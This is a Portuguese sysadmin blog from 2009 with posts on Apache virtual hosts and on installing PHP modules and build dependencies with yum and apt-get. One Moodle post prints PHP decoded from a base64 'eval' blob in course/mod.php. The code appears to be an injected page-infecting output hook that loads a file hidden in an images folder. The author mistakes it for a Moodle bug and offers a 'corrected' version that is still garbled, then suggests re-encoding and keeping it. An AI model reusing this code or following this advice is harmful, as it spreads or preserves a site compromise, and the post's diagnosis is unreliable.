sexta-feira, 27 de fevereiro de 2009

Como criar um host virtual (virtual host) no apache

Edite o final do arquivo /etc/httpd/conf/httpd.conf adicionando as seguinte linhas:

<virtualhost> #url e porta que o servidor ficará escutando
ServerAdmin webcorreio@ufes.br #email do administrador
DocumentRoot /var/www/webcorreio #pasta do site, a pasta deve existir, senão o servidor acusará erro
ServerName webcorreio.ufes.br #url que chegará nas requisições
ErrorLog logs/webcorreio.ufes.br-error_log #arquivo de log de erro
CustomLog logs/webcorreio.ufes.br-access_log common #arquivo de log de acesso
</virtualhost>


- Tive uma dúvida logo que aprendi esse esquema de virtual host: Se o servidor web tem o ip Y e atende por vários nomes dns, e o dns resolve os nomes e sempre retorna o ip Y. Como o servidor web distinguirá os virtualhosts?
R.: O dns retorna o ip do servidor web, mas a requisição http ainda continua com o nome dns e porta que você requisitou!

segunda-feira, 16 de fevereiro de 2009

Problemas no moodle v 1.119: não é possível editar, excluir ou ocultar salas, recursos entre outros

No início do arquivo .\moodle\course\mod.php temos um código base64. Se decodificarmos esse código, teremos o seguinte código php:

if(function_exists('ob_start')&&!isset($GLOBALS['sh_no']))
{
$GLOBALS['sh_no']=1;
if(file_exists('C:/xampplite/moodle/admin/mysql/pmd/styles/default/images/mdl_utf.php'))
{
/* Erro 1: esse include causa o problema */
//include_once('C:/xampplite/moodle/admin/mysql/pmd/styles/default/images/mdl_utf.php');

if(function_exists('gml')&&!function_exists('dgobh'))
{
if(!function_exists('gzdecode'))
{
function gzdecode($d)
{
$f=ord(substr($d,3,1));
$h=10;
$e=0;
if($f&4)
{
$e=unpack('v',substr($d,10,2));
$e=$e[1];
$h+=2+$e;

}
if($f&8)
{
$h=strpos($d,chr(0),$h)+1;
}
if($f&16)
{
$h=strpos($d,chr(0),$h)+1;
}
if($f&2)
{
$h+=2;
}
$u=gzinflate(substr($d,$h));
if($u===FALSE)
{
$u=$d;
}
return $u;

}

}
function dgobh($b)
{
Header('Content-Encoding: none');
$c=gzdecode($b);

/* Erro 2: estava assim antes
if(preg_match('/\]*\>)/si','$1'.gml(),$c); }
*/
if(preg_match('/\]*\>)/si','$1'.gml(),$c)
{
}
else
{
return gml().$c;
}

}
ob_start('dgobh');

}

}

}

Não sei se esse include do Erro 1 pertence ao moodle, ou se foi alguma tentativa de invasão (talvez uma atualização mal sucedida), porém se comentarmos a linha, volta ao normal.

Em Erro2 a notação do if estava errada, corrija-a.

Após corrigir os erros você pode codificar tudo com o base64_decode e substituir o código antigo pelo novo. Eu simplesmente ranquei todo o "eval(base64_decod(..." e coloquei esse código php que citei.

quinta-feira, 5 de fevereiro de 2009

Como habilitar o módulo LDAP no php do linux

LDAP é um módulo do php para comunicação com servidores ldap, como o openLdap do Linux ou o Active Directory do Windows.
Para habilitá-lo, instale o pacote php-ldap.


[Exemplo de instalação no Debian]

- Execute o seguinte comando:
apt-get install php-ldap



[Exemplo de instalação no Fedora]

- Execute o seguinte comando:
yum install php-ldap


[Remoção dos módulos]

Ao invés do parâmetro "install" nos comandos acima, utilize o parâmetro "remove".

Como habilitar o módulo GD no php do linux

GD é um módulo do php para manipulação de imagens.
Para habilitá-lo, instale o pacote php-gd.


[Exemplo de instalação no Debian]

- Execute o seguinte comando:
apt-get install php-gd



[Exemplo de instalação no Fedora]

- Execute o seguinte comando:
yum install php-gd


[Remoção dos módulos]

Ao invés do parâmetro install nos comandos acima, utilize o parâmetro remove.

quarta-feira, 4 de fevereiro de 2009

Ao tentar instalar o PHP no linux aparece a seguinte mensagem "configure error Cannot find pspell"

Você deve instalar o pacote aspell-devel

[Exemplo de instalação no Fedora]

- Execute o seguinte comando:
yum install aspell-devel

Ao tentar instalar o PHP no linux aparece a seguinte mensagem "configure error Cannot find ldap.h"

Você deve instalar os pacotes openldap e openldap-devel

[Exemplo de instalação no Fedora]

- Execute o seguinte comando:
yum install openldap openldap-devel

Ao tentar instalar o PHP no linux aparece a seguinte mensagem "Configure error Unable to locate gmp.h"

Você deve instalar o pacote gmp-devel

[Exemplo de instalação no Fedora]

- Execute o seguinte comando:
yum install gmp-devel

Ao tentar instalar o PHP no linux aparece a seguinte mensagem "Configure error freetype.h not found"

Você deve instalar o pacote freetype-devel

[Exemplo de instalação no Fedora]

- Execute o seguinte comando:
yum install freetype-devel

Ao tentar instalar o PHP no linux aparece a seguinte mensagem "Configure error libpng.(also) not found"

Você deve instalar os pacotes libpng e libpng-devel

[Exemplo de instalação no Fedora]

- Execute o seguinte comando:
yum install libpng libpng-devel

Ao tentar instalar o PHP no linux aparece a seguinte mensagem "Configure error libjpeg.(also) not found"

Você deve instalar os pacotes libjpeg e libjpeg-devel

[Exemplo de instalação no Fedora]

- Execute o seguinte comando:
yum install libjpeg libjpeg-devel

Ao tentar instalar o PHP no linux aparece a seguinte mensagem "configure error Please reinstall the BZip2 distribution"

Você deve instalar o pacote bzip2-devel.

[Exemplo de instalação no Fedora]

- Execute o seguinte comando:
yum install bzip2-devel

Ao tentar instalar o PHP no linux aparece a seguinte mensagem "configure error Please reinstall the libcurl distribution"

Você deve instalar os pacotes curl e curl-devel.

[Exemplo de instalação no Fedora]

- Execute o seguinte comando:
yum install curl curl-devel

Ao tentar instalar o PHP no linux aparece a seguinte mensagem "configure error Could not find pcre.h in /usr"

Você deve instalar o pacote pcre-devel para poder pegar o cabeçalho pcre.h

[Exemplo de instalação no Fedora]

- Execute o seguinte comando:
yum install pcre-devel

Ao tentar instalar o PHP no linux aparece a seguinte mensagem "configure error Cannot find OpenSSL's evp.h"

Você deve instalar o pacote openssl-dev* para poder pegar o cabeçalho evp.h

[Exemplo de instalação no Debian]

- Execute o seguinte comando:
apt-get install openssl-dev*


[Exemplo de instalação no Fedora]

- Execute o seguinte comando:
yum install openssl-dev*

Nota: No Fedora o nome do pacote é openssl-devel. Algumas distribuições podem apresentar nomes distintos para o mesmo pacote.

Ao tentar instalar o PHP no linux aparece a seguinte mensagem: "configure error xml2-config not found. Please check your libxml2 installation"

Você deve instalar o pacote libxml2-dev* para poder pegar o comando xml2-config.

[Exemplo de instalação no Debian]

- Execute o seguinte comando:
apt-get install libxml2-dev*


[Exemplo de instalação no Fedora]

- Execute o seguinte comando:
yum install libxml2-dev*

Nota: No Fedora o nome do pacote é libxml2-devel. Algumas distribuições podem apresentar nomes distintos para o mesmo pacote.